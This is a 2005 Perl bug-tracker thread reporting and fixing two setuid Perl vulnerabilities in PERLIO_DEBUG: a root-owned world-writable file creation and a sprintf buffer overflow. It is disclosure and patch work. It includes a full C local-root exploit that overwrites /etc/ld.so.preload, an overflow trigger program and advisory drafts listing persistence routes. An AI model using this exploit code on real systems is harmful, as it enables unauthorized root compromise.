Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

setuid perl security issues #7777

Closed
p5pRT opened this issue Jan 30, 2005 · 19 comments
Closed

setuid perl security issues #7777

p5pRT opened this issue Jan 30, 2005 · 19 comments

Comments

@p5pRT
Copy link

p5pRT commented Jan 30, 2005

Migrated from rt.perl.org#33990 (status was 'resolved')

Searchable as RT33990$

@p5pRT
Copy link
Author

p5pRT commented Jan 30, 2005

From kf_lists@digitalmunition.com

PERLIO_DEBUG
If set to the name of a file or device then certain operations of PerlIO
sub-system will be logged to that file (opened as append). Typical uses
are UNIX​:

./perlio.c​:
void
PerlIO_debug(const char *fmt, ...)
{
...
  if (!dbg) {
  char *s = PerlEnv_getenv("PERLIO_DEBUG");
  if (s && *s)
  dbg = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
  else
  dbg = -1;
  }

If $ENV{'PERLIO_DEBUG'} is not set PerlIO_debug() is a no-op.

else you can do the following either via sperl or vial sperl​:

sperl​:
kfinisterre@​jdam​:~$ ls -al /usr/bin/sperl5.8.4
-rwsr-xr-x 1 root root 63808 2004-12-11 18​:32 /usr/bin/sperl5.8.4
kfinisterre@​jdam​:~$ export PERLIO_DEBUG=/tmp/aaa
kfinisterre@​jdam​:~$ umask 001
kfinisterre@​jdam​:~$ /usr/bin/sperl5.8.4
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
kfinisterre@​jdam​:~$ ls -al /tmp/aaa
-rw-rw-rw- 1 root kfinisterre 1403 2005-01-30 02​:34 /tmp/aaa

setuid wrapper​:
kfinisterre@​jdam​:/tmp$ ls -al /usr/sbin/mooix-pty-helper
/usr/sbin/mooregister /usr/sbin/moopasswd
-rwsr-xr-x 1 root root 2872 2003-11-20 15​:28/usr/sbin/mooix-pty-helperc
-rwsr-xr-x 1 root root 2832 2003-11-20 15​:28 /usr/sbin/moopasswd
-rwsr-xr-x 1 root root 2836 2003-11-20 15​:28 /usr/sbin/mooregister

These are all setuid programs that invoke perl scripts.

/usr/share/mooix/mooix-pty-helper.pl
/usr/share/mooix/moopasswd.pl
/usr/share/mooix/mooregister.pl

kfinisterre@​jdam​:/tmp$ umask 001
kfinisterre@​jdam​:/tmp$ export PERLIO_DEBUG=/tmp/oops2
kfinisterre@​jdam​:/tmp$ /usr/sbin/mooix-pty-helper
need a session dir at /usr/share/mooix/mooix-pty-helper.pl line 22,
<CONFIG> line 98.
kfinisterre@​jdam​:/tmp$ ls -al /tmp/oops2
-rw-rw-rw- 1 root kfinisterre 30285 2005-01-30 02​:23 /tmp/oops2

kfinisterre@​jdam​:/tmp$ tail /tmp/oops2 -n 3
/usr/share/mooix/mooix-pty-helper.pl​:0 fd 0 refcnt=0
/usr/share/mooix/mooix-pty-helper.pl​:0 fd 1 refcnt=0
/usr/share/mooix/mooix-pty-helper.pl​:0 fd 2 refcnt=0

kfinisterre@​jdam​:/tmp$ echo + + > /tmp/oops2

hrmmm...
kfinisterre@​jdam​:~$ ls -al /etc/ld.so.preload
ls​: /etc/ld.so.preload​: No such file or directory

gonna try to write an ld.so.preload exploit without trashing my box. hehe. fun time.

@p5pRT
Copy link
Author

p5pRT commented Jan 30, 2005

From kf_lists@digitalmunition.com

While looking at the source code to figure out what the details of my PERLIO_DEBUG file overwrite bug
I also found a buffer overflow...

in perlio.c​:

  if (dbg > 0) {
  dTHX;
#ifdef USE_ITHREADS
  /* Use fixed buffer as sv_catpvf etc. needs SVs */
  char buffer[1024];
  char *s;
  STRLEN len;
  s = CopFILE(PL_curcop);
  if (!s)
  s = "(none)";
  sprintf(buffer, "%s​:%" IVdf " ", s, (IV) CopLINE(PL_curcop));

Set PERLIO_DEBUG to anything

make a perl script calling sperl and run it with the full path (after placing it in a long ass directory)

#!/usr/bin/sperl5.8.4
print a;

kfinisterre@​jdam​:/tmp$ /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/test.pl
Segmentation fault

stat64("/usr/local/share/perl/5.8.0", 0xbfffd880) = -1 ENOENT (No such file or directory)
** eip[40175563] eax[ffffffda] ecx[00008441] edx[000001b6] ebx[080677ad] esp[bfffd294] ebp[bfffd2a8] esi[00008441] edi[40177d00]
open("/tmp/lala", O_WRONLY|O_APPEND|O_CREAT|O_LARGEFILE, 0666) = 3
** eip[4021898a] eax[00000000] ecx[08054e04] edx[bfffcd9c] ebx[402e95e0] esp[bfffcbc8] ebp[bfffcbe0] esi[41414141] edi[bfffcd9c]
--- SIGSEGV (Segmentation fault) @​ 0 (0) ---
upeek​: ptrace(PTRACE_PEEKUSER,2970,48,0)​: No such process

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From @rgs

KF (Lists) wrote​:

PERLIO_DEBUG
If set to the name of a file or device then certain operations of PerlIO
sub-system will be logged to that file (opened as append). Typical uses
are UNIX​:
...
else you can do the following either via sperl or vial sperl​:
...

I fixed the local root exploit by disabling PERLIO_DEBUG in sperl
(change #23903) and the buffer overflow (change #23904) in bleadperl.

--
--No, Stephen said. I call it "A Pisgah Sight of Palestine or the Parable
  of the Plums".
--I see, the professor said.
  -- Ulysses

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

The RT System itself - Status changed from 'new' to 'open'

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From @rgs

Rafael Garcia-Suarez wrote​:

KF (Lists) wrote​:

PERLIO_DEBUG
If set to the name of a file or device then certain operations of PerlIO
sub-system will be logged to that file (opened as append). Typical uses
are UNIX​:
...
else you can do the following either via sperl or vial sperl​:
...

I fixed the local root exploit by disabling PERLIO_DEBUG in sperl
(change #23903)

hold on, it's not properly fixed now.

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From @rgs

Rafael Garcia-Suarez wrote​:

Rafael Garcia-Suarez wrote​:

KF (Lists) wrote​:

PERLIO_DEBUG
If set to the name of a file or device then certain operations of PerlIO
sub-system will be logged to that file (opened as append). Typical uses
are UNIX​:
...
else you can do the following either via sperl or vial sperl​:
...

I fixed the local root exploit by disabling PERLIO_DEBUG in sperl
(change #23903)

hold on, it's not properly fixed now.

It's now :
Change 23907 on 2005/01/31 by rgs@​grubert

  Document the changes to PERLIO_DEBUG.

Change 23906 on 2005/01/31 by rgs@​grubert

  Really fix the bug [perl #33990].
  NB. -DIAMSUID is only set to compile sperl.o.

@p5pRT p5pRT closed this as completed Jan 31, 2005
@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

@rgs - Status changed from 'open' to 'resolved'

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From kf_lists@digitalmunition.com

Much thanks on the quick response and fix.
Attached are the PoC for each condition incase you were wondering how
exploitable this *was*.

Do you have any idea what the span of this bug is (like what versions
are affected)? Will there be a new release or perl announcement about
this bug(s)?

And finally, was this actually the buggy line of code for the overflow
or was it elsewhere?

in perlio.c​:

  if (dbg > 0) {
  dTHX;
#ifdef USE_ITHREADS
  /* Use fixed buffer as sv_catpvf etc. needs SVs */
  char buffer[1024];
  char *s;
  STRLEN len;
  s = CopFILE(PL_curcop);
  if (!s)
  s = "(none)";
  sprintf(buffer, "%s​:%" IVdf " ", s, (IV) CopLINE(PL_curcop));

Thanks for your time.

-KF

According to our records, your request regarding
"setuid perl security issues"
has been resolved.

If you have any further questions or concerns, please respond to this message.

For other topics, please create a new ticket.

Please don't feel obligated to say "Thanks" or "Kudos" or "I owe you a beer" -- if you respond to this message it will reopen the ticket. If you must, please send email directly to the person who handled your ticket, and not to the tracking system.

<URL​: https://rt-archive.perl.org/perl5/Ticket/Display.html?id=33990 >

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From kf_lists@digitalmunition.com

/*
 * Copyright Kevin Finisterre 
 * 
 * ** DISCLAIMER ** I am in no way responsible for your stupidity.
 * ** DISCLAIMER ** I am in no way liable for any damages caused by compilation and or execution of this code.
 *
 * ** WARNING ** DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING ***
 * ** WARNING ** overwriting /etc/ld.so.preload can severly fuck up your box (or someone elses).
 * ** WARNING ** have a boot disk ready incase some thing goes wrong.
 *
 * Setuid Perl exploit by KF - kf_lists[at]secnetops[dot]com - 1/30/05
 *
 * this exploits a vulnerability in the PERLIO_DEBUG functionality
 * tested against sperl5.8.4 on Debian
 *
 * kfinisterre@jdam:~$ cc -o ex_perl ex_perl.c
 * kfinisterre@jdam:~$ ls -al /etc/ld.so.preload
 * ls: /etc/ld.so.preload: No such file or directory
 * kfinisterre@jdam:~$ ./ex_perl
 * sperl needs fd script
 * You should not call sperl directly; do you need to change a #! line
 * from sperl to perl?
 * kfinisterre@jdam:~$ su -
 * jdam:~# id
 * uid=0(root) gid=0(root) groups=0(root)
 * jdam:~# rm /etc/ld.so.preload
 *
 */


#define PRELOAD "/etc/ld.so.preload"
#include <stdio.h>
#include <strings.h>

int main(int *argc, char **argv)
{

        FILE *getuid;
        if(!(getuid = fopen("/tmp/getuid.c","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        
	fprintf(getuid, "int getuid(){return 0;}\n" );
        fclose(getuid);

        system("cc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc");

	putenv("PERLIO_DEBUG="PRELOAD);
        umask(001); // I'm rw-rw-rw james bitch!
        system("/usr/bin/sperl5.8.4");
        FILE *ld_so_preload;

        char preload[] = {
                "/tmp/getuid.so\n"
        };

        if(!(ld_so_preload = fopen(PRELOAD,"w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(preload,sizeof(preload)-1,1,ld_so_preload);
        fclose(ld_so_preload);
}

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From kf_lists@digitalmunition.com

/*
 * Copyright Kevin Finisterre
 *
 * Setuid perl PerlIO_Debug() overflow
 *
 * cc -o ex_perl2 ex_perl2.c -std=c99
 * 
 * Not complete yet...
 */

#include <stdlib.h>
#include <stdio.h>
#include <strings.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

int main(int *argc, char **argv)
{
 	int count = 5;
	char malpath[10000];
	char tmp[256];
	char *filler;
	chdir("/tmp/");

	filler = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/";
	
	for (int x=0; x<3; x=x+1)
	{
		mkdir(filler, 0777);
		chdir(filler);
		count = count + 256;		
	}

        memset(tmp,0x42,201);
	count = count + 201;
	strcat(tmp, "/");
	mkdir(tmp, 0777);
	chdir(tmp);

	printf ("Dirlen: %d\n", count); 

	FILE *perlsploit;
	char perldummyfile[] = {
                "#!/usr/bin/sperl5.8.4\n"
                "# \n"
                "# Be proud that perl(1) may proclaim: \n"
                "#   Setuid Perl scripts are safer than C programs ...\n"
                "# Do not abandon (deprecate) suidperl. Do not advocate C wrappers. \n"
        };

        if(!(perlsploit = fopen("take_me.pl","w+"))) {
                printf("error opening file\n");
                exit(1);
        }
        fwrite(perldummyfile,sizeof(perldummyfile)-1,1,perlsploit);
        fclose(perlsploit);

	getcwd(malpath, 10000);
	strcat(malpath, "/");
	strcat(malpath, "take_me.pl");
	printf("running: %s\n",malpath);

	chmod(malpath,0755);

	putenv("PERLIO_DEBUG=/tmp/ninjitsu");
	system(malpath);
}

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From @rgs

KF (lists) wrote​:

Much thanks on the quick response and fix.
Attached are the PoC for each condition incase you were wondering how
exploitable this *was*.

Do you have any idea what the span of this bug is (like what versions
are affected)?

I'd say every release since we have PerlIO, e.g. every 5.8.x for x in
0..6.

Will there be a new release or perl announcement about
this bug(s)?

That's to be appreciated by the maint pumpking.

Vendors are of course encouraged to grab those patches.

A new package of perl for mandrakelinux is already on its way to the
mirrors, and an security advisory accordingly on BugTraq.

And finally, was this actually the buggy line of code for the overflow
or was it elsewhere?

Yes. Actually only threaded perls were affected.

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From @nwc10

On Mon, Jan 31, 2005 at 04​:42​:59PM +0100, Rafael Garcia-Suarez wrote​:

KF (lists) wrote​:

Much thanks on the quick response and fix.
Attached are the PoC for each condition incase you were wondering how
exploitable this *was*.

Do you have any idea what the span of this bug is (like what versions
are affected)?

I'd say every release since we have PerlIO, e.g. every 5.8.x for x in
0..6.

Will there be a new release or perl announcement about
this bug(s)?

That's to be appreciated by the maint pumpking.

Who was already planning to start the 5.8.7 release process at the end of
February. It's proved tricky in the past to make full releases "rapidly"
without fear of introducing new bugs and making things worse.

Vendors are of course encouraged to grab those patches.

This seems to be the best way. We probably should wrap up all 3 patches into
one single "this is what you need" patch. Historically, I'm not sure if there
is a precedent on where anything like this has been announced. Have patches,
or the URLs of patches previously been sent as replies to messages detailing
exploits on lists such as bugtraq?

A new package of perl for mandrakelinux is already on its way to the
mirrors, and an security advisory accordingly on BugTraq.

Nicholas Clark

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From @rgs

Nicholas Clark wrote​:

Vendors are of course encouraged to grab those patches.

This seems to be the best way. We probably should wrap up all 3 patches into
one single "this is what you need" patch. Historically, I'm not sure if there
is a precedent on where anything like this has been announced. Have patches,
or the URLs of patches previously been sent as replies to messages detailing
exploits on lists such as bugtraq?

Here's the single patch corresponding to my various commits in bleadperl :

http​://cvs.mandrakesoft.com/cgi-bin/cvsweb.cgi/checkout/SPECS/perl/perl-5.8.6-bug33990.patch?rev=1.1&content-type=text/plain

--
Good Lord, that poor child's dress is in flitters. Underfed she looks too.
Potatoes and marge, marge and potatoes. It's after they feel it. Proof of the
pudding. Undermines the constitution.
  -- Ulysses

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From kf_lists@digitalmunition.com

Rafael Garcia-Suarez via RT wrote​:

A new package of perl for mandrakelinux is already on its way to the
mirrors, and an security advisory accordingly on BugTraq.

Great... do you folks have a problem with me releaseing an advisory at
this time?
If necessary I can wait a few days and or coordinate it with your
bugtraq post.
-KF

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From kf_lists@digitalmunition.com

This seems to be the best way. We probably should wrap up all 3 patches into
one single "this is what you need" patch. Historically, I'm not sure if there
is a precedent on where anything like this has been announced. Have patches,
or the URLs of patches previously been sent as replies to messages detailing
exploits on lists such as bugtraq?

There are currently NO posts on bugtraq for this issue. I notified
vendor-sec (private list) at the same time I notified you folks and I
only provided the detail to trigger the bug. No actual exploit was
posted to vendor-sec nor any fix information etc. (I actually don't even
have the links to the patches myself, I was assuming I could extract it
from perlbug but I got perm denied via the guest web access)

I had planned to do a bugtraq / full-disclosure release pretty much
after you folks had a chance to get things fixed.

In the past I have done simultaneous posts to bugtraq *with* a vendor. I
have also had some vendors ask that I post first and they they can
follow up with they own information. I am willing to be flexible in
regards to your needs so just let me know which is preferable to you.

-KF

@p5pRT
Copy link
Author

p5pRT commented Jan 31, 2005

From kf_lists@digitalmunition.com

Great... let me know when you figure out how you want to procede with
bugtraq posts et all. I am assuming that Mandrake will post on their
own as well. If we want to coordinate with them that is ok with me too.
My advisory is not yet typed up but that is usually only a matter of an
hours worth of work.

Thanks much.
-KF

Here's the single patch corresponding to my various commits in bleadperl :

http​://cvs.mandrakesoft.com/cgi-bin/cvsweb.cgi/checkout/SPECS/perl/perl-5.8.6-bug33990.patch?rev=1.1&content-type=text/plain

@p5pRT
Copy link
Author

p5pRT commented Feb 1, 2005

From kf_lists@digitalmunition.com

I am going to try to verify the patch fixes later tonight... I will let
you know how that goes. Attached are my rough draft advisories... any
news on how coordination should be handled?

Great... let me know when you figure out how you want to procede with
bugtraq posts et all. I am assuming that Mandrake will post on their
own as well. If we want to coordinate with them that is ok with me
too. My advisory is not yet typed up but that is usually only a matter
of an hours worth of work.

-KF

@p5pRT
Copy link
Author

p5pRT commented Feb 1, 2005

From kf_lists@digitalmunition.com

DMA[2005-0131a] - 'Setuid Perl PERLIO_DEBUG root owned file creation'
Author​: Kevin Finisterre
Vendor​: http​://dev.perl.org/
Product​: 'Perl 5.8.x - sperl'
References​: (CAN-2005-0155)
http​://www.digitalmunition.com/DMA[2005-0131a].txt
http​://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155
https://rt-archive.perl.org/perl5/Ticket/Display.html?id=33990 (guest/guest)

Description​:
Perl is a stable, cross platform programming language. It is used for mission critical projects
in the public and private sectors and is widely used to program web applications of all needs.

In the July 18, 2002 one of the highlights for Perl 5.8.0 was a 'New IO Implementation' called
PerlIO. The new PerlIO implementation was described as both a portable stdio implementation
(at the source code level) and a flexible new framework for richer I/O behaviours.

As an attacker I would definately say that PerlIO has some rich behavior. Two vulnerabilities
were located in the PerlIO package that can allow an attacker to take root on a machine that
makes use of setuid perl aka sperl. The first vulnerability will be outlined in this document,
and details on the second vulnerability will be explained in DMA[2005-0131b].

Perl provides debug access to PerlIO via an environment variable known as PERLIO_DEBUG. The perl
documentaion tells us that if PERLIO_DEBUG is set to the name of a file or device then certain
operations of PerlIO sub-system will be logged to that file in append mode. If the file does not
exist then it will be created. This vulnerability really does not present itself unless perl is
installed with setuid support on the machine in question. If setuid is enabled an attacker has
the opportunity to arbitrarily create root owned files. With a little help from umask() files can
be created with root ownership AND world writable permissions. This behavior can also be exploited
via setuid helper or wrapper scripts that call perl scripts.

kfinisterre@​jdam​:~$ ls -al /usr/bin/sperl5.8.4
-rwsr-xr-x 1 root root 63808 2004-12-11 18​:32 /usr/bin/sperl5.8.4
kfinisterre@​jdam​:~$ export PERLIO_DEBUG=/tmp/aaa
kfinisterre@​jdam​:~$ umask 001
kfinisterre@​jdam​:~$ /usr/bin/sperl5.8.4
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
kfinisterre@​jdam​:~$ ls -al /tmp/aaa
-rw-rw-rw- 1 root kfinisterre 1403 2005-01-30 02​:34 /tmp/aaa

At this point the game is pretty much over. Since the file is world writable the attacker can add
any content he or she desires to the file that was created. Charles Stevenson suggested that a file
could be written to /etc/rc.d/init.d which would allow an attacker to control the machine upon a
reboot. I considered a few alternatives like writing to roots crontab or making an sshd root
authorized_key file as well as a few others. In my example exploit I took a more immediate and risky
route by writing to /etc/ld.so.preload and providing a trojan.so that always returns 0 for getuid().

kfinisterre@​jdam​:~$ cc -o ex_perl ex_perl.c
kfinisterre@​jdam​:~$ ls -al /etc/ld.so.preload
ls​: /etc/ld.so.preload​: No such file or directory
kfinisterre@​jdam​:~$ ./ex_perl
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
kfinisterre@​jdam​:~$ su -
jdam​:~# id
uid=0(root) gid=0(root) groups=0(root)
jdam​:~# rm /etc/ld.so.preload

The following patch for this bug was provided by Mandrake care of the vendor-sec list. This patch
also fixes the bug that is described in DMA[2005-0131b].

Index​: perlio.c

--- perlio.c (revision 4342)
+++ perlio.c (revision 4346)
@​@​ -454,7 +454,7 @​@​
  va_list ap;
  dSYS;
  va_start(ap, fmt);
- if (!dbg) {
+ if (!dbg && !PL_tainting && PL_uid == PL_euid && PL_gid == PL_egid) {
  char *s = PerlEnv_getenv("PERLIO_DEBUG");
  if (s && *s)
  dbg = PerlLIO_open3(s, O_WRONLY | O_CREAT | O_APPEND, 0666);
@​@​ -471,7 +471,7 @​@​
  s = CopFILE(PL_curcop);
  if (!s)
  s = "(none)";
- sprintf(buffer, "%s​:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
+ sprintf(buffer, "%.40s​:%" IVdf " ", s, (IV) CopLINE(PL_curcop));
  len = strlen(buffer);
  vsprintf(buffer+len, fmt, ap);
  PerlLIO_write(dbg, buffer, strlen(buffer));

This is timeline associated with this bug.

01/30/2005 09​:29 AM - Mail to larry wall, perlbug, vendor-sec et all
01/31/2005 04​:25 AM - Rafael Garcia-Suarez disabed PERLIO_DEBUG in sperl
01/31/2005 08​:31 AM - perl #33990] [RESOLVED]
01/31/2005 11​:15 AM - perl-5.8.6-bug33990.patch passed on from Mandrake cvs

-KF

@p5pRT
Copy link
Author

p5pRT commented Feb 1, 2005

From kf_lists@digitalmunition.com

DMA[2005-0131b] - 'Setuid Perl PERLIO_DEBUG buffer overflow'
Author​: Kevin Finisterre
Vendor​: http​://dev.perl.org/
Product​: 'Perl 5.8.x - sperl'
References​: (CAN-2005-0155)
http​://www.digitalmunition.com/DMA[2005-0131b].txt
http​://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0155
https://rt-archive.perl.org/perl5/Ticket/Display.html?id=33990 (guest/guest)

Description​:
Perl is a stable, cross platform programming language. It is used for mission critical projects
in the public and private sectors and is widely used to program web applications of all needs.

In the July 18, 2002 one of the highlights for Perl 5.8.0 was a 'New IO Implementation' called
PerlIO. The new PerlIO implementation was described as both a portable stdio implementation
(at the source code level) and a flexible new framework for richer I/O behaviours.

As an attacker I would definately say that PerlIO has some rich behavior. Two vulnerabilities
were located in the PerlIO package that can allow an attacker to take root on a machine that
makes use of setuid perl aka sperl. The first vulnerability was be outlined in DMA[2005-0131a],
details on the second vulnerability will be explained below.

Perl provides debug access to PerlIO via an environment variable known as PERLIO_DEBUG. The perl
documentaion tells us that if PERLIO_DEBUG is set to the name of a file or device then certain
operations of PerlIO sub-system will be logged to that file in append mode. When the data is
logged to the file specified by PERLIO_DEBUG the path of the perl script is also logged. If perl
is called all by itself the path should show up as "-". If however the a perl script is run, its
full path then the entire path will be logged. The following sample run demonstrates the logging
functionality.

kfinisterre@​kfinisterre01​:/tmp$ cat > test.pl
#!/usr/bin/sperl5.8.4
print "test\n";
^C
kfinisterre@​kfinisterre01​:/tmp$ chmod +x test.pl
kfinisterre@​kfinisterre01​:/tmp$ export PERLIO_DEBUG=/tmp/test
kfinisterre@​kfinisterre01​:/tmp$ ./test.pl
sperl needs fd script
You should not call sperl directly; do you need to change a #! line
from sperl to perl?
kfinisterre@​kfinisterre01​:/tmp$ cat /tmp/test
./test.pl​:0 define unix 0x4013a5e0
./test.pl​:0 define raw 0x4013a560
./test.pl​:0 define perlio 0x4013a6e0
./test.pl​:0 define stdio 0x4013a660
./test.pl​:0 define crlf 0x4013a7e0
./test.pl​:0 define mmap 0x4013a860
./test.pl​:0 define utf8 0x4013a460
./test.pl​:0 define pop 0x4013a3e0
./test.pl​:0 define bytes 0x4013a4e0
./test.pl​:0 unix => 0x4013a5e0
./test.pl​:0 Pushing perlio
./test.pl​:0 perlio => 0x4013a6e0
./test.pl​:0 Layer 1 is perlio
./test.pl​:0 openn(perlio,'(null)','Ir',0,0,0,(nil),0,(nil))
...

The function responsible for logging the PerlIO data contains an unbounded call to sprintf()
as you can see below.

in perlio.c​:

  if (dbg > 0) {
  dTHX;
#ifdef USE_ITHREADS
  /* Use fixed buffer as sv_catpvf etc. needs SVs */
  char buffer[1024];
  char *s;
  STRLEN len;
  s = CopFILE(PL_curcop);
  if (!s)
  s = "(none)";
  sprintf(buffer, "%s​:%" IVdf " ", s, (IV) CopLINE(PL_curcop));

We can trigger this vulnerability by placing a perl script in a very long directory tree and
simply executing it after we have defined PERLIO_DEBUG. ex_perl2.c simulates this behavior.

kfinisterre@​kfinisterre01​:~$ cc -o ex_perl2 ex_perl2.c -std=c99
ex_perl2.c​: In function `main'​:
ex_perl2.c​:67​: warning​: implicit declaration of function `putenv'
kfinisterre@​kfinisterre01​:~$ ltrace -f ./ex_perl2
__libc_start_main(0x8048654, 1, 0xbffff944, 0x8048860, 0x80488c0 <unfinished ...>
chdir("/tmp/")
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777)
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777)
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
mkdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 0777)
chdir("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
memset(0xbfffd0c0, 'B', 201)
strcat("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., "/")
mkdir("BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"..., 0777)
